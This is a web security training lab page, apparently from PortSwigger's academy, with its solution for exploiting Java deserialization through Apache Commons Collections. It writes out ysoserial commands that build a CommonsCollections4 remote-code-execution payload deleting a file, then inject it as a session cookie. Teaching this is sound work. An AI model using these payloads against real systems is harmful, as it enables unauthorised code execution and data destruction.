Lab: Exploiting Java deserialization with Apache Commons


This lab uses a serialization-based session mechanism and loads the Apache Commons Collections library. Although you don't have source code access, you can still exploit this lab using pre-built gadget chains.

To solve the lab, use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos's home directory.

You can log in to your own account using the following credentials: wiener:peter


In Java versions 16 and above, you need to set a series of command-line arguments for Java to run ysoserial. For example:

java -jar ysoserial-all.jar \ --add-opens=java.xml/ \ --add-opens=java.xml/ \ --add-opens=java.base/ \ --add-opens=java.base/java.util=ALL-UNNAMED \ [payload] '[command]'


  1. Log in to your own account and observe that the session cookie contains a serialized Java object. Send a request containing your session cookie to Burp Repeater.
  2. Download the "ysoserial" tool and execute the following command. This generates a Base64-encoded serialized object containing your payload:

    • In Java versions 16 and above:

      java -jar ysoserial-all.jar \ --add-opens=java.xml/ \ --add-opens=java.xml/ \ --add-opens=java.base/ \ --add-opens=java.base/java.util=ALL-UNNAMED \ CommonsCollections4 'rm /home/carlos/morale.txt' | base64
    • In Java versions 15 and below:

      java -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64
  3. In Burp Repeater, replace your session cookie with the malicious one you just created. Select the entire cookie and then URL-encode it.
  4. Send the request to solve the lab.

Community solutions

Emanuele Picariello